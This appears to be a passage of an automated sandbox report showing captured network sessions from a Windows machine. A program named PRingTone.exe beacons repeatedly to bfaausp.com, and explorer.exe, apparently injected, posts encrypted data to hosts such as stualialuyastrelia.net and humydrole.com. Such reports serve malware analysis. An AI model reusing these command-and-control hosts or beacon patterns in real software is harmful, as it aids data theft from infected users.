Dec 19, 2023 03:25:32.567116976 CET	359	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 73 45 c7 99 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA .[k,vusEM2eM}e:r^),lz}$J+`08xgN7^TQxuh#Kr&'@o=joIm;)T
Dec 19, 2023 03:25:33.716895103 CET	252	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:25:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49967	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:32.807805061 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:33.080980062 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	49968	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:33.497502089 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:33.775494099 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49969	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:34.173871994 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:34.452646017 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	49970	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:34.437526941 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mgmvdmhqiqnx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:25:34.437566042 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:25:34.730408907 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:25:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	49971	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:34.913383007 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:35.192630053 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	49972	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:35.762124062 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:36.038388014 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	49974	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:37.290733099 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:37.572772026 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	49975	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:38.402663946 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:38.679799080 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	49976	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:39.078469992 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:39.356971979 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	49977	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:39.763247013 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:40.036999941 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	49978	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:40.430985928 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:40.709572077 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	49979	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:41.104556084 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:41.381938934 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	49980	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:41.772634029 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:42.047461033 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	49981	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:42.453102112 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:42.729485989 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	49982	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:43.118267059 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:43.395952940 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	49983	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:43.816848993 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:44.090862036 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	49984	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:44.484164000 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:44.763520002 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	49985	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:45.187762022 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:45.464924097 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	49986	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:45.863092899 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:46.137125015 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	49987	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:46.529011965 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:46.807898998 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	49988	210.182.29.70	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:47.069804907 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bxwabaigaovvsikl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: humydrole.com
Dec 19, 2023 03:25:47.069838047 CET	368	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 56 04 ce 8e Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA .[k,vuVi\k>wOrug5nzVT>) "9KPk3(Sb0q g-T^DXOtfm`7Evc4!@
Dec 19, 2023 03:25:48.539022923 CET	252	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:25:47 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	49989	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:47.207144976 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:47.490436077 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	49990	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:47.802937031 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://apardygeptdtamfx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:25:47.802970886 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:25:48.094614029 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:25:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	49991	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:47.897561073 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:48.175996065 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	49992	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:48.586600065 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:48.861517906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	49993	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:49.257944107 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
